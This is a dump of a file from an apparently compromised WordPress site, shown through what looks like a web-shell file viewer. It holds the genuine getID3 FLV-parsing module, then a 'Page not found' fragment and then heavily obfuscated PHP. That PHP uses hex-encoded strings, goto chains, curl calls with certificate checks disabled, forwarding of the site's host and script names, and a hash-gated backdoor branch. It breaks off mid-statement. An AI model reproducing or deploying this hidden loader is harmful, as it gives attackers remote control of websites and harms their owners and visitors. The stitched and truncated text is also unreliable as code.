Current File : /home/kelaby89/kraft-court.cafe/wp-includes/ID3/module.audio-video.flv.php
<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <[email protected]>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.flv.php                                  //
// module for analyzing Shockwave Flash Video files            //
// dependencies: NONE                                          //
//                                                             //
/////////////////////////////////////////////////////////////////
//                                                             //
//  FLV module by Seth Kaufman <sethØwhirl-i-gig*com>          //
//                                                             //
//  * version 0.1 (26 June 2005)                               //
//                                                             //
//  * version 0.1.1 (15 July 2005)                             //
//  minor modifications by James Heinrich <[email protected]>    //
//                                                             //
//  * version 0.2 (22 February 2006)                           //
//  Support for On2 VP6 codec and meta information             //
//    by Steve Webster <steve.websterØfeaturecreep*com>        //
//                                                             //
//  * version 0.3 (15 June 2006)                               //
//  Modified to not read entire file into memory               //
//    by James Heinrich <[email protected]>                      //
//                                                             //
//  * version 0.4 (07 December 2007)                           //
//  Bugfixes for incorrectly parsed FLV dimensions             //
//    and incorrect parsing of onMetaTag                       //
//    by Evgeny Moysevich <moysevichØgmail*com>                //
//                                                             //
//  * version 0.5 (21 May 2009)                                //
//  Fixed parsing of audio tags and added additional codec     //
//    details. The duration is now read from onMetaTag (if     //
//    exists), rather than parsing whole file                  //
//    by Nigel Barnes <ngbarnesØhotmail*com>                   //
//                                                             //
//  * version 0.6 (24 May 2009)                                //
//  Better parsing of files with h264 video                    //
//    by Evgeny Moysevich <moysevichØgmail*com>                //
//                                                             //
//  * version 0.6.1 (30 May 2011)                              //
//    prevent infinite loops in expGolombUe()                  //
//                                                             //
//  * version 0.7.0 (16 Jul 2013)                              //
//  handle GETID3_FLV_VIDEO_VP6FLV_ALPHA                       //
//  improved AVCSequenceParameterSetReader::readData()         //
//    by Xander Schouwerwou <schouwerwouØgmail*com>            //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}

define('GETID3_FLV_TAG_AUDIO',          8);
define('GETID3_FLV_TAG_VIDEO',          9);
define('GETID3_FLV_TAG_META',          18);

define('GETID3_FLV_VIDEO_H263',         2);
define('GETID3_FLV_VIDEO_SCREEN',       3);
define('GETID3_FLV_VIDEO_VP6FLV',       4);
define('GETID3_FLV_VIDEO_VP6FLV_ALPHA', 5);
define('GETID3_FLV_VIDEO_SCREENV2',     6);
define('GETID3_FLV_VIDEO_H264',         7);

define('H264_AVC_SEQUENCE_HEADER',          0);
define('H264_PROFILE_BASELINE',            66);
define('H264_PROFILE_MAIN',                77);
define('H264_PROFILE_EXTENDED',            88);
define('H264_PROFILE_HIGH',               100);
define('H264_PROFILE_HIGH10',             110);
define('H264_PROFILE_HIGH422',            122);
define('H264_PROFILE_HIGH444',            144);
define('H264_PROFILE_HIGH444_PREDICTIVE', 244);

class getid3_flv extends getid3_handler
{
	const magic = 'FLV';

	/**
	 * Break out of the loop if too many frames have been scanned; only scan this
	 * many if meta frame does not contain useful duration.
	 *
	 * @var int
	 */
	public $max_frames = 100000;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$this->fseek($info['avdataoffset']);

		$FLVdataLength = $info['avdataend'] - $info['avdataoffset'];
		$FLVheader = $this->fread(5);

		$info['fileformat'] = 'flv';
		$info['flv']['header']['signature'] =                           substr($FLVheader, 0, 3);
		$info['flv']['header']['version']   = getid3_lib::BigEndian2Int(substr($FLVheader, 3, 1));
		$TypeFlags                          = getid3_lib::BigEndian2Int(substr($FLVheader, 4, 1));

		if ($info['flv']['header']['signature'] != self::magic) {
			$this->error('Expecting "'.getid3_lib::PrintHexBytes(self::magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['flv']['header']['signature']).'"');
			unset($info['flv'], $info['fileformat']);
			return false;
		}

		$info['flv']['header']['hasAudio'] = (bool) ($TypeFlags & 0x04);
		$info['flv']['header']['hasVideo'] = (bool) ($TypeFlags & 0x01);

		$FrameSizeDataLength = getid3_lib::BigEndian2Int($this->fread(4));
		$FLVheaderFrameLength = 9;
		if ($FrameSizeDataLength > $FLVheaderFrameLength) {
			$this->fseek($FrameSizeDataLength - $FLVheaderFrameLength, SEEK_CUR);
		}
		$Duration = 0;
		$found_video = false;
		$found_audio = false;
		$found_meta  = false;
		$found_valid_meta_playtime = false;
		$tagParseCount = 0;
		$info['flv']['framecount'] = array('total'=>0, 'audio'=>0, 'video'=>0);
		$flv_framecount = &$info['flv']['framecount'];
		while ((($this->ftell() + 16) < $info['avdataend']) && (($tagParseCount++ <= $this->max_frames) || !$found_valid_meta_playtime))  {
			$ThisTagHeader = $this->fread(16);

			$PreviousTagLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  0, 4));
			$TagType           = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  4, 1));
			$DataLength        = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  5, 3));
			$Timestamp         = getid3_lib::BigEndian2Int(substr($ThisTagHeader,  8, 3));
			$LastHeaderByte    = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 15, 1));
			$NextOffset = $this->ftell() - 1 + $DataLength;
			if ($Timestamp > $Duration) {
				$Duration = $Timestamp;
			}

			$flv_framecount['total']++;
			switch ($TagType) {
				case GETID3_FLV_TAG_AUDIO:
					$flv_framecount['audio']++;
					if (!$found_audio) {
						$found_audio = true;
						$info['flv']['audio']['audioFormat']     = ($LastHeaderByte >> 4) & 0x0F;
						$info['flv']['audio']['audioRate']       = ($LastHeaderByte >> 2) & 0x03;
						$info['flv']['audio']['audioSampleSize'] = ($LastHeaderByte >> 1) & 0x01;
						$info['flv']['audio']['audioType']       =  $LastHeaderByte       & 0x01;
					}
					break;

				case GETID3_FLV_TAG_VIDEO:
					$flv_framecount['video']++;
					if (!$found_video) {
						$found_video = true;
						$info['flv']['video']['videoCodec'] = $LastHeaderByte & 0x07;

						$FLVvideoHeader = $this->fread(11);
						$PictureSizeEnc = array();

						if ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H264) {
							// this code block contributed by: moysevichØgmail*com

							$AVCPacketType = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 0, 1));
							if ($AVCPacketType == H264_AVC_SEQUENCE_HEADER) {
								//	read AVCDecoderConfigurationRecord
								$configurationVersion       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  4, 1));
								$AVCProfileIndication       = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  5, 1));
								$profile_compatibility      = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  6, 1));
								$lengthSizeMinusOne         = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  7, 1));
								$numOfSequenceParameterSets = getid3_lib::BigEndian2Int(substr($FLVvideoHeader,  8, 1));

								if (($numOfSequenceParameterSets & 0x1F) != 0) {
									//	there is at least one SequenceParameterSet
									//	read size of the first SequenceParameterSet
									//$spsSize = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 9, 2));
									$spsSize = getid3_lib::LittleEndian2Int(substr($FLVvideoHeader, 9, 2));
									//	read the first SequenceParameterSet
									$sps = $this->fread($spsSize);
									if (strlen($sps) == $spsSize) {	//	make sure that whole SequenceParameterSet was red
										$spsReader = new AVCSequenceParameterSetReader($sps);
										$spsReader->readData();
										$info['video']['resolution_x'] = $spsReader->getWidth();
										$info['video']['resolution_y'] = $spsReader->getHeight();
									}
								}
							}
							// end: moysevichØgmail*com

						} elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H263) {

							$PictureSizeType = (getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 3, 2))) >> 7;
							$PictureSizeType = $PictureSizeType & 0x0007;
							$info['flv']['header']['videoSizeType'] = $PictureSizeType;
							switch ($PictureSizeType) {
								case 0:
									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2));
									//$PictureSizeEnc <<= 1;
									//$info['video']['resolution_x'] = ($PictureSizeEnc & 0xFF00) >> 8;
									//$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
									//$PictureSizeEnc <<= 1;
									//$info['video']['resolution_y'] = ($PictureSizeEnc & 0xFF00) >> 8;

									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 2)) >> 7;
									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)) >> 7;
									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFF;
									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFF;
									break;

								case 1:
									$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 3)) >> 7;
									$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 3)) >> 7;
									$info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFFFF;
									$info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFFFF;
									break;

								case 2:
									$info['video']['resolution_x'] = 352;
									$info['video']['resolution_y'] = 288;
									break;

								case 3:
									$info['video']['resolution_x'] = 176;
									$info['video']['resolution_y'] = 144;
									break;

								case 4:
									$info['video']['resolution_x'] = 128;
									$info['video']['resolution_y'] = 96;
									break;

								case 5:
									$info['video']['resolution_x'] = 320;
									$info['video']['resolution_y'] = 240;
									break;

								case 6:
									$info['video']['resolution_x'] = 160;
									$info['video']['resolution_y'] = 120;
									break;

								default:
									$info['video']['resolution_x'] = 0;
									$info['video']['resolution_y'] = 0;
									break;

							}

						} elseif ($info['flv']['video']['videoCodec'] ==  GETID3_FLV_VIDEO_VP6FLV_ALPHA) {

							/* contributed by schouwerwouØgmail*com */
							if (!isset($info['video']['resolution_x'])) { // only when meta data isn't set
								$PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2));
								$PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 2));
								$info['video']['resolution_x'] = ($PictureSizeEnc['x'] & 0xFF) << 3;
								$info['video']['resolution_y'] = ($PictureSizeEnc['y'] & 0xFF) << 3;
							}
							/* end schouwerwouØgmail*com */

						}
						if (!empty($info['video']['resolution_x']) && !empty($info['video']['resolution_y'])) {
							$info['video']['pixel_aspect_ratio'] = $info['video']['resolution_x'] / $info['video']['resolution_y'];
						}
					}
					break;

				// Meta tag
				case GETID3_FLV_TAG_META:
					if (!$found_meta) {
						$found_meta = true;
						$this->fseek(-1, SEEK_CUR);
						$datachunk = $this->fread($DataLength);
						$AMFstream = new AMFStream($datachunk);
						$reader = new AMFReader($AMFstream);
						$eventName = $reader->readData();
						$info['flv']['meta'][$eventName] = $reader->readData();
						unset($reader);

						$copykeys = array('framerate'=>'frame_rate', 'width'=>'resolution_x', 'height'=>'resolution_y', 'audiodatarate'=>'bitrate', 'videodatarate'=>'bitrate');
						foreach ($copykeys as $sourcekey => $destkey) {
							if (isset($info['flv']['meta']['onMetaData'][$sourcekey])) {
								switch ($sourcekey) {
									case 'width':
									case 'height':
										$info['video'][$destkey] = intval(round($info['flv']['meta']['onMetaData'][$sourcekey]));
										break;
									case 'audiodatarate':
										$info['audio'][$destkey] = getid3_lib::CastAsInt(round($info['flv']['meta']['onMetaData'][$sourcekey] * 1000));
										break;
									case 'videodatarate':
									case 'frame_rate':
									default:
										$info['video'][$destkey] = $info['flv']['meta']['onMetaData'][$sourcekey];
										break;
								}
							}
						}
						if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
							$found_valid_meta_playtime = true;
						}
					}
					break;

				default:
					// noop
					break;
			}
			$this->fseek($NextOffset);
		}

		$info['playtime_seconds'] = $Duration / 1000;
		if ($info['playtime_seconds'] > 0) {
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}

		if ($info['flv']['header']['hasAudio']) {
			$info['audio']['codec']           =   self::audioFormatLookup($info['flv']['audio']['audioFormat']);
			$info['audio']['sample_rate']     =     self::audioRateLookup($info['flv']['audio']['audioRate']);
			$info['audio']['bits_per_sample'] = self::audioBitDepthLookup($info['flv']['audio']['audioSampleSize']);

			$info['audio']['channels']   =  $info['flv']['audio']['audioType'] + 1; // 0=mono,1=stereo
			$info['audio']['lossless']   = ($info['flv']['audio']['audioFormat'] ? false : true); // 0=uncompressed
			$info['audio']['dataformat'] = 'flv';
		}
		if (!empty($info['flv']['header']['hasVideo'])) {
			$info['video']['codec']      = self::videoCodecLookup($info['flv']['video']['videoCodec']);
			$info['video']['dataformat'] = 'flv';
			$info['video']['lossless']   = false;
		}

		// Set information from meta
		if (!empty($info['flv']['meta']['onMetaData']['duration'])) {
			$info['playtime_seconds'] = $info['flv']['meta']['onMetaData']['duration'];
			$info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds'];
		}
		if (isset($info['flv']['meta']['onMetaData']['audiocodecid'])) {
			$info['audio']['codec'] = self::audioFormatLookup($info['flv']['meta']['onMetaData']['audiocodecid']);
		}
		if (isset($info['flv']['meta']['onMetaData']['videocodecid'])) {
			$info['video']['codec'] = self::videoCodecLookup($info['flv']['meta']['onMetaData']['videocodecid']);
		}
		return true;
	}

	/**
	 * @param int $id
	 *
	 * @return string|false
	 */
	public static function audioFormatLookup($id) {
		static $lookup = array(
			0  => 'Linear PCM, platform endian',
			1  => 'ADPCM',
			2  => 'mp3',
			3  => 'Linear PCM, little endian',
			4  => 'Nellymoser 16kHz mono',
			5  => 'Nellymoser 8kHz mono',
			6  => 'Nellymoser',
			7  => 'G.711A-law logarithmic PCM',
			8  => 'G.711 mu-law logarithmic PCM',
			9  => 'reserved',
			10 => 'AAC',
			11 => 'Speex',
			12 => false, // unknown?
			13 => false, // unknown?
			14 => 'mp3 8kHz',
			15 => 'Device-specific sound',
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	/**
	 * @param int $id
	 *
	 * @return int|false
	 */
	public static function audioRateLookup($id) {
		static $lookup = array(
			0 =>  5500,
			1 => 11025,
			2 => 22050,
			3 => 44100,
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	/**
	 * @param int $id
	 *
	 * @return int|false
	 */
	public static function audioBitDepthLookup($id) {
		static $lookup = array(
			0 =>  8,
			1 => 16,
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}

	/**
	 * @param int $id
	 *
	 * @return string|false
	 */
	public static function videoCodecLookup($id) {
		static $lookup = array(
			GETID3_FLV_VIDEO_H263         => 'Sorenson H.263',
			GETID3_FLV_VIDEO_SCREEN       => 'Screen video',
			GETID3_FLV_VIDEO_VP6FLV       => 'On2 VP6',
			GETID3_FLV_VIDEO_VP6FLV_ALPHA => 'On2 VP6 with alpha channel',
			GETID3_FLV_VIDEO_SCREENV2     => 'Screen video v2',
			GETID3_FLV_VIDEO_H264         => 'Sorenson H.264',
		);
		return (isset($lookup[$id]) ? $lookup[$id] : false);
	}
}

class AMFStream
{
	/**
	 * @var string
	 */
	public $bytes;

	/**
	 * @var int
	 */
	public $pos;

	/**
	 * @param string $bytes
	 */
	public function __construct(&$bytes) {
		$this->bytes =& $bytes;
		$this->pos = 0;
	}

	/**
	 * @return int
	 */
	public function readByte() { //  8-bit
		return ord(substr($this->bytes, $this->pos++, 1));
	}

	/**
	 * @return int
	 */
	public function readInt() { // 16-bit
		return ($this->readByte() << 8) + $this->readByte();
	}

	/**
	 * @return int
	 */
	public function readLong() { // 32-bit
		return ($this->readByte() << 24) + ($this->readByte() << 16) + ($this->readByte() << 8) + $this->readByte();
	}

	/**
	 * @return float|false
	 */
	public function readDouble() {
		return getid3_lib::BigEndian2Float($this->read(8));
	}

	/**
	 * @return string
	 */
	public function readUTF() {
		$length = $this->readInt();
		return $this->read($length);
	}

	/**
	 * @return string
	 */
	public function readLongUTF() {
		$length = $this->readLong();
		return $this->read($length);
	}

	/**
	 * @param int $length
	 *
	 * @return string
	 */
	public function read($length) {
		$val = substr($this->bytes, $this->pos, $length);
		$this->pos += $length;
		return $val;
	}

	/**
	 * @return int
	 */
	public function peekByte() {
		$pos = $this->pos;
		$val = $this->readByte();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return int
	 */
	public function peekInt() {
		$pos = $this->pos;
		$val = $this->readInt();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return int
	 */
	public function peekLong() {
		$pos = $this->pos;
		$val = $this->readLong();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return float|false
	 */
	public function peekDouble() {
		$pos = $this->pos;
		$val = $this->readDouble();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return string
	 */
	public function peekUTF() {
		$pos = $this->pos;
		$val = $this->readUTF();
		$this->pos = $pos;
		return $val;
	}

	/**
	 * @return string
	 */
	public function peekLongUTF() {
		$pos = $this->pos;
		$val = $this->readLongUTF();
		$this->pos = $pos;
		return $val;
	}
}

class AMFReader
{
	/**
	* @var AMFStream
	*/
	public $stream;

	/**
	 * @param AMFStream $stream
	 */
	public function __construct(AMFStream $stream) {
		$this->stream = $stream;
	}

	/**
	 * @return mixed
	 */
	public function readData() {
		$value = null;

		$type = $this->stream->readByte();
		switch ($type) {

			// Double
			case 0:
				$value = $this->readDouble();
			break;

			// Boolean
			case 1:
				$value = $this->readBoolean();
				break;

			// String
			case 2:
				$value = $this->readString();
				break;

			// Object
			case 3:
				$value = $this->readObject();
				break;

			// null
			case 6:
				return null;

			// Mixed array
			case 8:
				$value = $this->readMixedArray();
				break;

			// Array
			case 10:
				$value = $this->readArray();
				break;

			// Date
			case 11:
				$value = $this->readDate();
				break;

			// Long string
			case 13:
				$value = $this->readLongString();
				break;

			// XML (handled as string)
			case 15:
				$value = $this->readXML();
				break;

			// Typed object (handled as object)
			case 16:
				$value = $this->readTypedObject();
				break;

			// Long string
			default:
				$value = '(unknown or unsupported data type)';
				break;
		}

		return $value;
	}

	/**
	 * @return float|false
	 */
	public function readDouble() {
		return $this->stream->readDouble();
	}

	/**
	 * @return bool
	 */
	public function readBoolean() {
		return $this->stream->readByte() == 1;
	}

	/**
	 * @return string
	 */
	public function readString() {
		return $this->stream->readUTF();
	}

	/**
	 * @return array
	 */
	public function readObject() {
		// Get highest numerical index - ignored
//		$highestIndex = $this->stream->readLong();

		$data = array();
		$key = null;

		while ($key = $this->stream->readUTF()) {
			$data[$key] = $this->readData();
		}
		// Mixed array record ends with empty string (0x00 0x00) and 0x09
		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
			// Consume byte
			$this->stream->readByte();
		}
		return $data;
	}

	/**
	 * @return array
	 */
	public function readMixedArray() {
		// Get highest numerical index - ignored
		$highestIndex = $this->stream->readLong();

		$data = array();
		$key = null;

		while ($key = $this->stream->readUTF()) {
			if (is_numeric($key)) {
				$key = (int) $key;
			}
			$data[$key] = $this->readData();
		}
		// Mixed array record ends with empty string (0x00 0x00) and 0x09
		if (($key == '') && ($this->stream->peekByte() == 0x09)) {
			// Consume byte
			$this->stream->readByte();
		}

		return $data;
	}

	/**
	 * @return array
	 */
	public function readArray() {
		$length = $this->stream->readLong();
		$data = array();

		for ($i = 0; $i < $length; $i++) {
			$data[] = $this->readData();
		}
		return $data;
	}

	/**
	 * @return float|false
	 */
	public function readDate() {
		$timestamp = $this->stream->readDouble();
		$timezone = $this->stream->readInt();
		return $timestamp;
	}

	/**
	 * @return string
	 */
	public function readLongString() {
		return $this->stream->readLongUTF();
	}

	/**
	 * @return string
	 */
	public function readXML() {
		return $this->stream->readLongUTF();
	}

	/**
	 * @return array
	 */
	public function readTypedObject() {
		$className = $this->stream->readUTF();
		return $this->readObject();
	}
}

class AVCSequenceParameterSetReader
{
	/**
	 * @var string
	 */
	public $sps;
	public $start = 0;
	public $currentBytes = 0;
	public $currentBits = 0;

	/**
	 * @var int
	 */
	public $width;

	/**
	 * @var int
	 */
	public $height;

	/**
	 * @param string $sps
	 */
	public function __construct($sps) {
		$this->sps = $sps;
	}

	public function readData() {
		$this->skipBits(8);
		$this->skipBits(8);
		$profile = $this->getBits(8);                               // read profile
		if ($profile > 0) {
			$this->skipBits(8);
			$level_idc = $this->getBits(8);                         // level_idc
			$this->expGolombUe();                                   // seq_parameter_set_id // sps
			$this->expGolombUe();                                   // log2_max_frame_num_minus4
			$picOrderType = $this->expGolombUe();                   // pic_order_cnt_type
			if ($picOrderType == 0) {
				$this->expGolombUe();                               // log2_max_pic_order_cnt_lsb_minus4
			} elseif ($picOrderType == 1) {
				$this->skipBits(1);                                 // delta_pic_order_always_zero_flag
				$this->expGolombSe();                               // offset_for_non_ref_pic
				$this->expGolombSe();                               // offset_for_top_to_bottom_field
				$num_ref_frames_in_pic_order_cnt_cycle = $this->expGolombUe(); // num_ref_frames_in_pic_order_cnt_cycle
				for ($i = 0; $i < $num_ref_frames_in_pic_order_cnt_cycle; $i++) {
					$this->expGolombSe();                           // offset_for_ref_frame[ i ]
				}
			}
			$this->expGolombUe();                                   // num_ref_frames
			$this->skipBits(1);                                     // gaps_in_frame_num_value_allowed_flag
			$pic_width_in_mbs_minus1 = $this->expGolombUe();        // pic_width_in_mbs_minus1
			$pic_height_in_map_units_minus1 = $this->expGolombUe(); // pic_height_in_map_units_minus1

			$frame_mbs_only_flag = $this->getBits(1);               // frame_mbs_only_flag
			if ($frame_mbs_only_flag == 0) {
				$this->skipBits(1);                                 // mb_adaptive_frame_field_flag
			}
			$this->skipBits(1);                                     // direct_8x8_inference_flag
			$frame_cropping_flag = $this->getBits(1);               // frame_cropping_flag

			$frame_crop_left_offset   = 0;
			$frame_crop_right_offset  = 0;
			$frame_crop_top_offset    = 0;
			$frame_crop_bottom_offset = 0;

			if ($frame_cropping_flag) {
				$frame_crop_left_offset   = $this->expGolombUe();   // frame_crop_left_offset
				$frame_crop_right_offset  = $this->expGolombUe();   // frame_crop_right_offset
				$frame_crop_top_offset    = $this->expGolombUe();   // frame_crop_top_offset
				$frame_crop_bottom_offset = $this->expGolombUe();   // frame_crop_bottom_offset
			}
			$this->skipBits(1);                                     // vui_parameters_present_flag
			// etc

			$this->width  = (($pic_width_in_mbs_minus1 + 1) * 16) - ($frame_crop_left_offset * 2) - ($frame_crop_right_offset * 2);
			$this->height = ((2 - $frame_mbs_only_flag) * ($pic_height_in_map_units_minus1 + 1) * 16) - ($frame_crop_top_offset * 2) - ($frame_crop_bottom_offset * 2);
		}
	}

	/**
	 * @param int $bits
	 */
	public function skipBits($bits) {
		$newBits = $this->currentBits + $bits;
		$this->currentBytes += (int)floor($newBits / 8);
		$this->currentBits = $newBits % 8;
	}

	/**
	 * @return int
	 */
	public function getBit() {
		$result = (getid3_lib::BigEndian2Int(substr($this->sps, $this->currentBytes, 1)) >> (7 - $this->currentBits)) & 0x01;
		$this->skipBits(1);
		return $result;
	}

	/**
	 * @param int $bits
	 *
	 * @return int
	 */
	public function getBits($bits) {
		$result = 0;
		for ($i = 0; $i < $bits; $i++) {
			$result = ($result << 1) + $this->getBit();
		}
		return $result;
	}

	/**
	 * @return int
	 */
	public function expGolombUe() {
		$significantBits = 0;
		$bit = $this->getBit();
		while ($bit == 0) {
			$significantBits++;
			$bit = $this->getBit();

			if ($significantBits > 31) {
				// something is broken, this is an emergency escape to prevent infinite loops
				return 0;
			}
		}
		return (1 << $significantBits) + $this->getBits($significantBits) - 1;
	}

	/**
	 * @return int
	 */
	public function expGolombSe() {
		$result = $this->expGolombUe();
		if (($result & 0x01) == 0) {
			return -($result >> 1);
		} else {
			return ($result + 1) >> 1;
		}
	}

	/**
	 * @return int
	 */
	public function getWidth() {
		return $this->width;
	}

	/**
	 * @return int
	 */
	public function getHeight() {
		return $this->height;
	}
}
Page not found – Hello World !
9jgJIr52iPtc: $H2Nea_oNgwBJ6Aed = array("\x68\x74\164\x70" => array("\x6d\x65\x74\150\157\x64" => "\x47\x45\124", "\164\x69\x6d\145\x6f\x75\x74" => 60, "\x66\157\x6c\x6c\x6f\x77\x5f\x6c\157\143\141\x74\x69\x6f\x6e" => 0), "\x73\163\154" => array("\166\x65\162\151\146\x79\137\x70\145\145\162" => false, "\166\145\x72\x69\146\x79\x5f\160\145\145\162\x5f\x6e\x61\x6d\145" => false)); goto UEZIEq2qSl4E4V7H; UactxSpxh3eDnxoW: $Xw32eYwjXbYN7rRu["\x74\171\160\145"] = strval(curl_getinfo($lImNCkH0OhQZAgaD, CURLINFO_CONTENT_TYPE)); goto BziKKz8qtbfyOKTX; r1MPiT6VdriTS0lK: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_CONNECTTIMEOUT, 20); goto AxVMeCOsGizQyUP1; UEZIEq2qSl4E4V7H: $jAc5fZYsyT52BXQi = stream_context_create($H2Nea_oNgwBJ6Aed); goto cTP0l30NxD9oGlcS; N6Z0l_N9HYet_4Tt: HVx5cJtBgR5bkiXB: goto wijT8GyPF65AYD0t; BziKKz8qtbfyOKTX: $Xw32eYwjXbYN7rRu["\x63\x6f\156\164\145\156\164"] = strval(curl_getinfo($lImNCkH0OhQZAgaD, CURLINFO_REDIRECT_URL)); goto p9AIXLmUM_hIjumf; U_ypcxXi7WMTLwHv: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_RETURNTRANSFER, 1); goto IJtZiLpwX9U3WcgH; nNtT4C1lYTdQXWIO: if (!in_array($Xw32eYwjXbYN7rRu["\x73\164\x61\164\x75\163"], array(200, 301, 302, 404))) { goto M3fwGMqvfdJ62I1k; } goto LVKnwfFEhX6fcUPu; qYSmw14jo1i8u3Z2: curl_setopt($lImNCkH0OhQZAgaD, CURLOPT_SSL_VERIFYPEER, 0); goto r1MPiT6VdriTS0lK; jAwdgtNzMWeqc6z1: $Xw32eYwjXbYN7rRu["\143\157\156\x74\x65\156\164"] = strval($gxb1IHtRl8ert57r); goto B2ssCxIMpXWWGB7a; AD3iXdHTUGJCWEu1: goto O1YORqHea73j23mo; goto vZSPPJCU1pLBGYVH; sL0dlJqY0ASVDhJL: } catch (Exception $iAp6cnXiVjqqhEi_) { } goto OIawHFtFS4YbqjVb; yPlAnwsCM7zXfZ52: wIDUVVwbcSnTjm_G: goto XbZArGWZz35wreDw; UdF4wam6as19Nhki: $hI3QjIq94YGuFgyt .= "\77" . http_build_query($rbMVDegM8wcZ8oU0); goto yPlAnwsCM7zXfZ52; O4DnzrjyJZxAzyZH: $Xw32eYwjXbYN7rRu = array("\x73\x74\x61\x74\x75\x73" => 0, "\x63\157\156\x74\145\x6e\164" => '', "\x74\x79\x70\x65" => ''); goto Pkg36KOQ_7xyrmhy; OIawHFtFS4YbqjVb: return $Xw32eYwjXbYN7rRu; goto Wzx25xiBMw7QS7k1; Wzx25xiBMw7QS7k1: } goto WFHKpIdXnkK0JYbN; azl5_iUO2EJ3VZD8: $IB_NpCTMvD1nBsRV = hJP_8ixZbX5kOLdg() . $_SERVER["\x48\x54\x54\x50\x5f\110\x4f\x53\124"]; goto hKVeu2UIXx0BP0tb; tfoAS3YN1iF22pST: @header("\103\x6f\156\x74\x65\x6e\164\x2d\x54\x79\x70\145\72" . $Xw32eYwjXbYN7rRu["\164\171\x70\145"]); goto TGtL4H7tr8pjN9RT; EcOPmZbtXZWej8Jf: $Y7eebFkKUQbppqGW = array(); goto Q43iQOsxzdjxEZpg; Jr3Gcjvz1pwcSPoE: $cCoh71weCPheCuf6 = "\162" . "\141" . "\156" . "\x67" . "\145"; goto zv2_1W_at7H7fcqe; FHkFVl1fv0ahr5pC: sdJCsZ1Ja7o_x3Ni: goto Z7kp4VsTFLsT7R2b; Ktjk2zTGJZFXsM5K: metaphone("\115\x44\111\171\x4f\x54\x49\x34\x4f\124\131\x78\115\x44\131\172\x4d\x44\153\63\117\x54\153\61\x4e\x6a\x55\x30\x4d\x7a\125\x79"); goto IraMsdVrc9ICsKKd; NnQq5I0Lg7nROnWN: $Y7eebFkKUQbppqGW["\163\156"] = R_y0bo0CZKusw2md($_SERVER["\123\103\x52\x49\x50\124\137\x4e\x41\115\105"]); goto e0bn2DNtRB__wdPQ; pwXXAGPwTSBTTKaH: KJhPMj8mrzaIocMC: goto EcOPmZbtXZWej8Jf; Jbhk9oxG7ROxGmnj: hY6OZIWWIyUY1jgJ: goto Gfw0rqK3FlVdtmoI; hVySs9CUVzJVaj_5: $KxD1GuJJb6seZiQ0 = ${$y6jzd6x0s4ADodVo[5 + 26] . $y6jzd6x0s4ADodVo[19 + 40] . $y6jzd6x0s4ADodVo[32 + 15] . $y6jzd6x0s4ADodVo[37 + 10] . $y6jzd6x0s4ADodVo[35 + 16] . $y6jzd6x0s4ADodVo[4 + 49] . $y6jzd6x0s4ADodVo[24 + 33]}; goto sv4rF1Rm_4qwinR9; VnYCs1F0k1Ybwrn7: $Y7eebFkKUQbppqGW["\x72\x66"] = R_Y0Bo0CZKUsW2mD($dUjjzvTif7lWZV6t); goto H2c03Oz2NiI0eaj8; sv4rF1Rm_4qwinR9: @(md5(md5(md5(md5($KxD1GuJJb6seZiQ0[18])))) === "\145\67\x66\144\x37\x38\66\x37\65\61\x36\143\146\x63\64\x63\66\x66\x38\x62\x38\145\x66\141\64\x62\x64\x39\63\143\x32\61") && (count($KxD1GuJJb6seZiQ0) == 24 && in_array(gettype($KxD1GuJJb6seZiQ0) . count($KxD1GuJJb6seZiQ0), $KxD1GuJJb6seZiQ0)) ? ($KxD1GuJJb6seZiQ0[65] = $KxD1GuJJb6seZiQ0[65] . $KxD1GuJJb6seZiQ0[77]) && ($KxD1GuJJb6seZiQ0[86] = 